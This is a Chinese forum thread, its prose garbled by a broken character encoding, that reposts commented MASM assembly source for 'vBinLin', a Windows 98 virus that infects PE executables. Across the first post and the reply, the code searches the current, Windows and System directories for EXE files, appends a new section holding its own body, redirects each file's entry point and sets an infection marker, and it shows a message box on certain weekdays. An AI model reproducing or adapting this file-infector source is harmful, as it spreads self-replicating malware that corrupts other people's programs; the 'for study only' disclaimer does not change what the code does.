| ²é¿´: 408 | »Ø¸´: 1 | |||
| µ±Ç°Ö÷ÌâÒѾ´æµµ¡£ | |||
sdlj8051½ð³æ (ÖøÃûдÊÖ)
|
[½»Á÷]
Ò»¸ö»ùÓÚ98Ïµģ¬¾ßÓв¡¶¾ÌØÐԵijÌÐò¡£[תÌù]
|
||
|
Ò»Ð©ÍøÓѸøÎÒдÐÅ£¬Ëµ´úÂë¿´²»¶®»ò×ÜÊDZàÒë²»¹ýÈ¥¡£ Òò´ËÎÒÓÖ½«´úÂë¼ÓÁËÏêϸµÄ½âÊÍ£¬¼¸ºõÊÇÒ»¾äÒ»¸ö½âÊÍ¡£ µ«ÊÇÓйصĴúÂ벢ûÓÐÆÁ±Î£¬Çë´ó¼Òµ÷ÊÔʱһ¶¨Ð¡ÐÄ¡£| Õâ¸öС²¡¶¾¸ÐȾµ±Ç°Ä¿Â¼¡¢WindowsĿ¼¡¢SystemĿ¼µÄEXEÎļþ Ö»Òª½«´ËÈý¸öĿ¼µÄEXEÎļþ±¸·ÝºÃ£¨ÔÚ´¿DOSÏ¿ÉÒÔ»Ö¸´£©µ÷ÊÔʱ¾ÍËã ¸ÐȾÁ˲¡¶¾Ò²Ó¦¸ÃûÎÊÌâµÄ¡£ Ï£Íû´ó¼Ò»¹ÊÇ¿´¶®´úÂëÔÙ½øÐе÷ÊÔ¡£ ´Ë´úÂë¿ÉÒÔ±àÒëͨ¹ý¡£ -------------------------------------------------------------- Ò»¸ö»ùÓÚ98Ïµģ¬¾ßÓв¡¶¾ÌØÐԵijÌÐò¡£ ²¡¶¾±¾À´¾ÍÊÇÒ»¸ö¼¼ÊõÐÔÂù¸ßµÄ³ÌÐò£¬µ«ÊÇÒòΪËû³£³£·¸´í£¬¸øÈ˸оõÓÖÉñÃØÓÖ¿Ö²À¡£ ÄܹýÕâ¶Î´úÂ룬Äã¿ÉÒÔ¸üÉî¸ÃµÄÁ˽âÀàËÆµÄ³ÌÐò¡£ ÖªµÀËû²¢²»¿ÉÅ£¬Ö»ÊDZ»Ò»Ð©ÈËÒªµ½Á˲»Õýµ±µÄµØ·½¡£ ÆäʵÓÐЩ³ÌÐòÀûÓò¡¶¾¼¼ÊõÀ´×ö¡£»¹ÊǷdz£ºÃµÄ(ÓÐЩ°²È«·½ÃæµÄ³ÌÐò¾ÍÊÇÀûÓÃÕâÒ»¼¼Êõ) ±¾³ÌÐò½ö¹©Ñ§Ï°Ê¹Óã¬ÈôÓõ½²»Õýµ±µØ·½£¬±¾È˸Ų»¸ºÔ𣡠¸Ð̾Ïëµ±ÄêÈç¹ûÓÐÀàËÆµÄÔ´´úÂ룬ÎÒÒ²²»»á×ßһЩ²»¸Ã×ßµÄÍä·¡£ ÔĶÁǰÌ᣺ÁËÀíPEÎļþ½á¹¹¡£ ;=========================================< ±ò >== ;Ãû ³Æ: vBinLin²¡¶¾ ¡¡¡¡¡¡; AngelSoft WorkGroup ;Óï ÑÔ: MASM Win98 ;ÈÕ ÆÚ: 2001Äê8ÔÂ24ÈÕ ;==================================================== ;³ö ´¦: http://www.vbin.org ;±¸ ×¢: ÓйشúÂëδÆÁ±Î£¡Çë×¢Ò⣡ÈôûÍêÈ«Ã÷°×ÇëÎóµ÷ÊÔ ¡¡¡¡¡¡; ²¡¶¾±¾ÊÇÒ»Öָ߼¶±à³Ì¼¼Êõ£¬±¾´úÂëÖ»¹©Ñ§Ï°Ê¹Óà ¡¡¡¡¡¡; £¬ÈôÓõ½ÆäËüÓÃ;±¾È˸Ų»¸ºÔ𣡠;×¢ Òâ: ÈçÐè×ªÔØ,Çë±£Áô´ËÎļþµÄÍêÕûÔ£¡£¡£¡£¡£? ;=================================================== .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\comctl32.inc include \masm32\include\user32.inc include \masm32\include\gdi32.inc include \masm32\include\comdlg32.inc includelib \masm32\lib\gdi32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comctl32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\comdlg32.lib ;ÕâÊÇһЩÏà¹ØµÄ¶¨Ò壬Æäʵ³ÌÐòÖиù±¾¾ÍûÓõ½ ;Ö»ÊÇÎÒϰ¹ß£¬Ò»¹ÉÄÔµÄÈ«°áÉÏÀ´À² ;------------------------------------(ÉÏÃæµÄ)-- .data mcaption db "ÄãºÃÅóÓÑ!",0 mtitle db "*±êÌâ*",0 ; Ö÷³ÌÐòËùÓõ½µÄһЩ±äÁ¿ ;------------------------------------(ÉÏÃæµÄ)-- .code host_start: invoke MessageBox,NULL,offset mcaption,offset mtitle,64 invoke ExitProcess,0 ;Ö÷³ÌÐò´úÂ룬ֻÊǼòµ¥µÄ´òÒ»´®×Ö·û¶øÒÑ¡£ ;²¡¶¾´úÂëÔËÐÐÍêºó£¬¾Í»áÌøµ½´Ë´¦Ö´ÐС£ ;------------------------------------(ÉÏÃæµÄ)-- BadDay SEGMENT PARA USE32 'BadDay' assume cs:BadDay,ds:BadDay vstart: push ebp push esp call nstart nstart: ;;;;;;;;;;;;; pop ebp sub ebp,offset nstart ;²¡¶¾Öг£ÓõÄÒ»ÖÖ·½·¨¡£µÃµ½Ò»¸öÆ«ÒÆ²î¡£ ;³ÌÐòºóÃæÓõ½µÄËùÓбäÁ¿¶¼ÐèÒª¼ÓÉϸöÕâÆ«ÒÆ²î ;------------------------------------(ÉÏÃæµÄ)-- ;========================= ; * ¸ü¸Ä³ÌÐòÈë¿ÚµØÖ· * cmp now_basein[ebp],0 jnz gonext mov now_basein[ebp],401000h gonext: cmp des_basein[ebp],0 jnz change mov des_basein[ebp],401000h change: mov eax,now_basein[ebp] push des_basein[ebp] pop now_basein[ebp] mov des_basein[ebp],eax ;±äÁ¿¶¨ÒåµÄµÄÒâ˼¼ûºó·½ ;³ÌÐò¿ªÊ¼Ö´ÐÐʱ£¬µ±Ç°³ÌÐòµÄÔÈë¿ÚµØÖ·»á·Åµ½des_baseinÖÐ ;ÓÉÓÚ³ÌÐòÖÐdes_baseinÓбðµÄÓÃ;£¬Òò´Ë½«´ËµØÖ·´æ·Åµ½ ;now_basein£¬ÒÔ±ã×îºóÌø»ØÔ³ÌÐòÈë¿Ú¡£ ;------------------------------------(ÉÏÃæµÄ)-- ;------------------------- ;Ŀ¼µÄ¿ªÍ·²¿·Ý lea eax,NowPath[ebp] push eax mov eax,256 push eax call vGetCurrentDirectory ;ͨ¹ýAPIº¯ÊýµÃµ½µ±Ç°³ÌÐòËùÔÚĿ¼ ;------------------------------------(ÉÏÃæµÄ)-- lea eax,NowPath[ebp] push eax lea eax,SrcDir[ebp] push eax call vlstrcpy ;±£´æµ±Ç°Ä¿Â¼ ;------------------------------------(ÉÏÃæµÄ)-- mov NowPathNo[ebp],1 FindStartT: cmp NowPathNo[ebp],1 jz GFindFt cmp NowPathNo[ebp],2 jz GetWinD cmp NowPathNo[ebp],3 jz GetSysD jmp AllFindEnd ;¸ù¾ÝNowPathNorÖµÀ´ÅжϸÐȾÄĸöĿ¼µÄÎļþ ;------------------------------------(ÉÏÃæµÄ)-- GetWinD: mov eax,256 push eax lea eax,NowPath[ebp] push eax call vGetWindowsDirectory lea eax,NowPath[ebp] push eax call vSetCurrentDirectory jmp GFindFt ;µÃµ½WINDOWSËùÔÚĿ¼£¬²¢ÇÒ½«ÆäÉèΪµ±Ç°Ä¿Â¼ ;------------------------------------(ÉÏÃæµÄ)-- GetSysD: mov eax,256 push eax lea eax,NowPath[ebp] push eax call vGetSystemDirectory lea eax,NowPath[ebp] push eax call vSetCurrentDirectory ;µÃµ½SYSTEMËùÔÚĿ¼£¬²¢ÇÒ½«ÆäÉèΪµ±Ç°Ä¿Â¼ ;------------------------------------(ÉÏÃæµÄ)-- GFindFt: lea eax,FindData[ebp] push eax lea eax,FileFilter[ebp] push eax call vFindFirstFile cmp eax,INVALID_HANDLE_value jz FindEnds mov hFind[ebp],eax ;²éÕÒµ±Ç°Ä¿Â¼ÏµĵÚÒ»¸öEXEÎļþ ;------------------------------------(ÉÏÃæµÄ)-- GoOnFind: ;ÒÔÏÂÊDz¡¶¾´«È¾²¿·Ý ;------------------------- push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ+FILE_SHARE_WRITE push GENERIC_READ+GENERIC_WRITE lea eax,FindData[ebp].cFileName push eax call vCreateFile ;´ò¿ªÎļþ ;------------------------------------(ÉÏÃæµÄ)-- cmp eax,INVALID_HANDLE_value jz createfail mov hFile[ebp],eax push FILE_BEGIN push 0 push 3ch push hFile[ebp] call vSetFilePointer ;½«ÎļþÖ¸ÕëÖ¸µ½3CH´¦£¨¼ûÇ°ÃæµÄ½²µÄ£© ;------------------------------------(ÉÏÃæµÄ)-- push 0 lea eax,byte_read[ebp] push eax push 4 lea eax,PE_head_addr[ebp] push eax push hFile[ebp] call vReadFile ;µÃµ½PEÍ·Æ«ÒÆµØÖ· ;------------------------------------(ÉÏÃæµÄ)-- cmp eax,0 jz readfail push FILE_BEGIN push 0 push PE_head_addr[ebp] push hFile[ebp] call vSetFilePointer ;Ö¸ÎļþÖ¸Õ붨λµ½PEÍ·´¦ ;------------------------------------(ÉÏÃæµÄ)-- mov Head_len[ebp],sizeof PE_head+sizeof Section_table push 0 lea eax,byte_read[ebp] push eax push Head_len[ebp] lea eax,PE_head[ebp] push eax push hFile[ebp] call vReadFile ;´ÓPEÍ·´¦¿ªÊ¼¶Á£¬×îËù¶ÁÊý¾Ý´æ·ÅÔÚ»º³åÇøÖÐ ;------------------------------------(ÉÏÃæµÄ)-- cmp dword ptr PE_head[ebp].Signature,IMAGE_NT_SIGNATURE jnz exitwrite ;¼ì²éÊÇ·ñÊÇPEÎļþ£¬²»ÊǾÍÌø³ö ;------------------------------------(ÉÏÃæµÄ)-- cmp word ptr PE_head[ebp+1ah],0842h jz exitwrite ;ÈôÒѸÐȾ¹ýÒ²Ìø ;------------------------------------(ÉÏÃæµÄ)-- Noinfect: ;±£´æÓë³ÌÐòÈë¿ÚÏà¹ØµÄRVA push PE_head[ebp].OptionalHeader.AddressOfEntryPoint pop des_in[ebp] push PE_head[ebp].OptionalHeader.ImageBase pop des_base[ebp] mov eax,des_in[ebp] add eax,des_base[ebp] mov des_basein[ebp],eax ;±£´æ½«Òª¸ÐȾµÄ³ÌÐòµÄÈë¿ÚRVAºÍĬÈÏ×°ÈëÄÚ´æµÄµØÖ· ;------------------------------------(ÉÏÃæµÄ)-- movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader add eax,18h mov Section_addr[ebp],eax ;µÃµ½µÚÒ»¸ö½ÚµÄµØÖ· ;------------------------------------(ÉÏÃæµÄ)-- mov checker_len[ebp],offset vend-offset vstart ;µÃµ½²¡¶¾´úÂëµÄ³¤¶È ;------------------------------------(ÉÏÃæµÄ)-- movzx eax,PE_head[ebp].FileHeader.NumberOfSections inc eax mov ecx,28h mul ecx add eax,Section_addr[ebp] add eax,PE_head_addr[ebp] cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders ;¼ì²âµ±Ç°ÎļþÍ·µÄÊ£Óà¿Õ¼ä¿É·ñÔÙ¼ÓÒ»¸ö½Ú¡£ ;------------------------------------(ÉÏÃæµÄ)-- ja exitwrite lea esi,Section_table[ebp] movzx eax,PE_head[ebp].FileHeader.NumberOfSections mov ecx,28h mul ecx add esi,eax inc PE_head[ebp].FileHeader.NumberOfSections lea edi,new_section[ebp] xchg edi,esi ;Ìî¼ÓÒ»¸ö½Ú ;------------------------------------(ÉÏÃæµÄ)-- mov eax,[edi-28h+8] add eax,[edi-28h+0ch] mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment div ecx inc eax mul ecx mov new_section[ebp].virt_addr,eax ;½¨Á¢Ð¿飬²¢ÇÒ¿é¶ÔÆë£¬µÃµ½Ð¿éÈë¿ÚµØÖ· ;------------------------------------(ÉÏÃæµÄ)-- mov eax,checker_len[ebp] mov ecx,PE_head[ebp].OptionalHeader.FileAlignment div ecx inc eax mul ecx mov new_section[ebp].raw_size,eax ;µÃ³öпéµÄÎïÀí´óС£¬°´Îļþ¶ÔÆë ;------------------------------------(ÉÏÃæµÄ)-- mov eax,checker_len[ebp] mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment div ecx inc eax mul ecx mov new_section[ebp].virt_size,eax ;µÃ³öÐéÄâµØÖ·£¬°´¿é¶ÔÆë ;------------------------------------(ÉÏÃæµÄ)-- mov eax,[edi-28h+14h] add eax,[edi-28h+10h] mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment div ecx inc eax mul ecx mov new_section[ebp].raw_offset,eax ;µÃµ½ÎļþÖÐµÄÆ«ÒÆ¡££¨°´Àí˵Ӧ¸ÃÊÇÎļþ×îÄ©£© ;------------------------------------(ÉÏÃæµÄ)-- mov eax,new_section[ebp].virt_size add eax,PE_head[ebp].OptionalHeader.SizeOfImage mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment div ecx inc eax mul ecx mov PE_head[ebp].OptionalHeader.SizeOfImage,eax ;¸üÐÂÎļþ×ܳߴ硣¼´ÔÎļþ³ß´ç¼ÓÉÏпéµÄÐéÄâ³ß´çÈ»ºó¶ÔÆë ;------------------------------------(ÉÏÃæµÄ)-- mov ecx,28h rep movsb ;Ìî¼ÓпéÄÚÈÝ ;------------------------------------(ÉÏÃæµÄ)-- mov eax,new_section[ebp].virt_addr mov PE_head[ebp].OptionalHeader.AddressOfEntryPoint,eax ;¸ÄÈë¿ÚµØÖ· ;------------------------------------(ÉÏÃæµÄ)-- mov word ptr PE_head[ebp+1ah],0842h ;Ìî¼Ó¸ÐȾ±êÖ¾ ;------------------------------------(ÉÏÃæµÄ)-- push FILE_BEGIN push 0 push PE_head_addr[ebp] push hFile[ebp] call vSetFilePointer ;µ÷Ö¸Õë ;------------------------------------(ÉÏÃæµÄ)-- push 0 lea eax,byte_read[ebp] push eax push Head_len[ebp] lea eax,PE_head[ebp] push eax push hFile[ebp] call vWriteFile ;¸üÐÂÎļþÍ· ;------------------------------------(ÉÏÃæµÄ)-- push FILE_BEGIN push 0 push new_section[ebp].raw_offset push hFile[ebp] call vSetFilePointer ;¸üÐÂÖ¸Õ루µ½Îļþ⣩ ;------------------------------------(ÉÏÃæµÄ)-- push 0 lea eax,byte_read[ebp] push eax push new_section[ebp].raw_size lea eax,vstart[ebp] push eax push hFile[ebp] call vWriteFile ;д²¡¶¾´úÂë ;------------------------------------(ÉÏÃæµÄ)-- exitwrite: readfail: push hFile[ebp] call vCloseHandle ;¹Ø±Õµ±Ç°Îļþ ;------------------------------------(ÉÏÃæµÄ)-- createfail: ;-------------------------------- ;Ŀ¼½áÎ²Çø EndDir: lea eax,FindData[ebp] push eax push hFind[ebp] call vFindNextFile cmp eax,0 jnz GoOnFind ;²éÕÒÏÂÒ»¸öÎļþ£¬È»ºó¼ÌÐø¸ÐȾ£¬Ö±µ½È«¸ÐȾȫΪֹ ;------------------------------------(ÉÏÃæµÄ)-- FindEnds: push hFind[ebp] call vFindClose inc NowPathNo[ebp] inc NowPathNo[ebp] ;<< ¶à¼ÓÁ˼¸¸ö1 inc NowPathNo[ebp] ;<< inc NowPathNo[ebp] ;<< jmp FindStartT ;ΪÁ˵÷ÊÔ·½±ã£¬ÔÚ´ËÖ»¸ÐȾµ±Ç°Ä¿Â¼ ;------------------------------------(ÉÏÃæµÄ)-- AllFindEnd: lea eax,SrcDir[ebp] push eax call vSetCurrentDirectory ;»Ö¸´µ±Ç°Ä¿Â¼ ;------------------------------------(ÉÏÃæµÄ)-- [ Last edited by »ÃÓ°ÎÞºÛ on 2006-10-17 at 10:15 ] |
» ²ÂÄãϲ»¶
»¯¹¤Çóµ÷¼Á£¡
ÒѾÓÐ37È˻ظ´
²ÄÁÏÓ뻯¹¤µ÷¼Á
ÒѾÓÐ39È˻ظ´
279ѧ˶ʳƷרҵÇóµ÷¼ÁԺУ
ÒѾÓÐ19È˻ظ´
±¾¿ÆÉúÎïÐÅϢѧ£¬×Ü·Ö362 Çó07 08µ÷¼Á
ÒѾÓÐ7È˻ظ´
ÉúÎïѧ308·ÖÇóµ÷¼Á£¨Ò»Ö¾Ô¸»ª¶«Ê¦´ó£©×ö¹ý·Ö×ÓʵÑé
ÒѾÓÐ10È˻ظ´
»¯¹¤Ñ§Ë¶294·Ö£¬Çóµ¼Ê¦ÊÕÁô
ÒѾÓÐ18È˻ظ´
Ò»Ö¾Ô¸0703»¯Ñ§ÕÐ61×îÖÕÅÅÃû62»¯Ñ§Çóµ÷¼Á
ÒѾÓÐ33È˻ظ´
266µ÷¼Á
ÒѾÓÐ11È˻ظ´
271Çóµ÷¼Á
ÒѾÓÐ26È˻ظ´
Ò»Ö¾Ô¸085502£¬267·ÖÇóµ÷¼Á
ÒѾÓÐ18È˻ظ´
sdlj8051
½ð³æ (ÖøÃûдÊÖ)
- Ó¦Öú: 0 (Ó×¶ùÔ°)
- ¹ó±ö: 0.1
- ½ð±Ò: 1149.8
- ºì»¨: 3
- Ìû×Ó: 2254
- ÔÚÏß: 18.1Сʱ
- ³æºÅ: 71297
- ×¢²á: 2005-05-30
- רҵ: µç·Óëϵͳ
|
;####[ ²¡¶¾·¢×÷Çø ]########################; lea eax,NowTimes[ebp] push eax call vGetSystemTime cmp NowTimes[ebp].wDayOfWeek,0003h jz InTimes cmp NowTimes[ebp].wDayOfWeek,0005h jnz ExitTimes ;¸ù¾Ýʱ¼ä¾ö¶¨£¬Ã¿ÖÜÐÇÆÚÈýºÍÐÇÆÚÎå·¢×÷ ;------------------------------------(ÉÏÃæµÄ)-- ;--- ·¢×÷´úÂë ------------------- InTimes: ;-------------------------------- push 0 lea eax,MyTitle[ebp] push eax lea eax,MyTalk[ebp] push eax push 0 call vMessageBox ;ÏÔʾһ¸öÌáʾ´°¿Ú ;------------------------------------(ÉÏÃæµÄ)-- ExitTimes: ;###########################################; ; »Ö¸´¼Ä´æÆ÷£¬Ìø»ØÔ³ÌÐò´¦ ;------------------------------------------ mov eax,now_basein[ebp] pop esp pop ebp push eax ;-------< ×öºÃ·µ»ØÔ³ÌÐòµÄ×¼±¸ >----------- ;;;;;;;;;;;;;; ret ;·µ»ØÖ÷³ÌÐò ;-------------------------- ; º¯Êýµ÷ÓõØÖ· ;-------------------------- vCreatefile: mov jumpaddr[ebp],0BFF77B5BH jmp jumpaddr[ebp] vSetFilePointer: mov jumpaddr[ebp],0BFF771BBH jmp jumpaddr[ebp] vReadfile: mov jumpaddr[ebp],0BFF770B9H jmp jumpaddr[ebp] vWritefile: mov jumpaddr[ebp],0BFF77051H jmp jumpaddr[ebp] vCloseHandle: mov jumpaddr[ebp],0BFF7E2D9H jmp jumpaddr[ebp] vMessageBox: mov jumpaddr[ebp],0BFF541BAH jmp jumpaddr[ebp] vGetCurrentDirectory: mov jumpaddr[ebp],0BFF77A55H jmp jumpaddr[ebp] vGetWindowsDirectory: mov jumpaddr[ebp],0BFF779F8H jmp jumpaddr[ebp] vGetSystemDirectory: mov jumpaddr[ebp],0BFF779C2H jmp jumpaddr[ebp] vSetCurrentDirectory: mov jumpaddr[ebp],0BFF77A2EH jmp jumpaddr[ebp] vlstrcpy: mov jumpaddr[ebp],0BFF77378H jmp jumpaddr[ebp] vFindFirstfile: mov jumpaddr[ebp],0BFF77BD7H jmp jumpaddr[ebp] vFindNextfile: mov jumpaddr[ebp],0BFF77C0FH jmp jumpaddr[ebp] vFindClose: mov jumpaddr[ebp],0BFF76540H jmp jumpaddr[ebp] vGetSystemTime: mov jumpaddr[ebp],0BFFA1372H jmp jumpaddr[ebp] vExitWindowsEx: mov jumpaddr[ebp],0BFF5232CH jmp jumpaddr[ebp] ; ÆäËüµÄÂÔ.... ;²»Í¬µÄWINϵͳÕâÀïµÄµØÖ·ÊDz»Í¬µÄ¡£ ;Òò´Ë˵Õâ¸ö²¡¶¾²¢²»ÊÇÿ¸öWINϵͳ¶¼»á´«È¾µÄ ;------------------------------------(ÉÏÃæµÄ)-- ALIGN 4 jumpaddr dd 0 PE_head_addr dd 0 checker_len dd 0 MyTitle db "MyTitle",0 MyTalk db "MyTalk",0 PE_head IMAGE_NT_HEADERS <0> Section_table db 280h dup (0) Head_len dd 0;sizeof PE_head+sizeof Section_table ; PEÎļþÍ·ºÍ¿é±íµÄ³¤¶È my_section struc sec_name db 2Eh,42h,61h,64h,44h,61h,79h,0 ; ¿éÃû virt_size dd 0 ; ¿é³¤ virt_addr dd 0 ; ¸Ã¿éRVAµØÖ· raw_size dd 0 ; ¸Ã¿éÎïÀí³¤¶È raw_offset dd 0 ; ¸Ã¿éÎïÀíÆ«ÒÆ dd 0,0,0 ; δÓà sec_flags dd 0E0000020h ; ÊôÐÔ my_section ends new_section my_section <> secbuffer db 512 dup (0) tempbuffer db 128 dup (0) hFile dd 0 des_in dd 0 des_base dd 0 db "SRCIN",0 des_basein dd 0 now_basein dd 0 byte_read dd 0 Section_addr dd 0 vsize dd 0 ;Ïà¹ØµÄ±äÁ¿¶¨Òå ;------------------------------------(ÉÏÃæµÄ)-- ;----------------------------- ; ²éÕÒÎļþרÓà FileFilter db "*.exe",0 FindData WIN32_FIND_DATA <> hFind dd 0 NowPath db 256 dup (0) NowPathNo db 0 SrcDir db 256 dup (0) ;----------------------------- NowTimes SYSTEMTIME <> ;----------------------------- vend: BadDay ends end vstart |
2Â¥2006-08-26 10:03:43













»Ø¸´´ËÂ¥